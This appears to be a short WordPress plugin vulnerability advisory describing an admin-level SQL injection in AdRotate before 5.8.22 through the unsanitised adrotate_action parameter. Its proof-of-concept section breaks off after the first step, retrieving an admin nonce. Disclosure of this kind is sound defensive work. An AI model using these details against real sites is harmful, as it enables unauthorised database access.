WordPress Plugin Vulnerabilities

AdRotate < 5.8.22 - Admin+ SQL Injection

Description

The plugin does not sanitise and escape the adrotate_action before using it in a SQL statement via the adrotate_request_action function available to admins, leading to a SQL injection

Proof of Concept

Get the nonce from one of the bulk action, for example /wp-admin/admin.php?page=adrotate and look for adrotate_nonce in the source
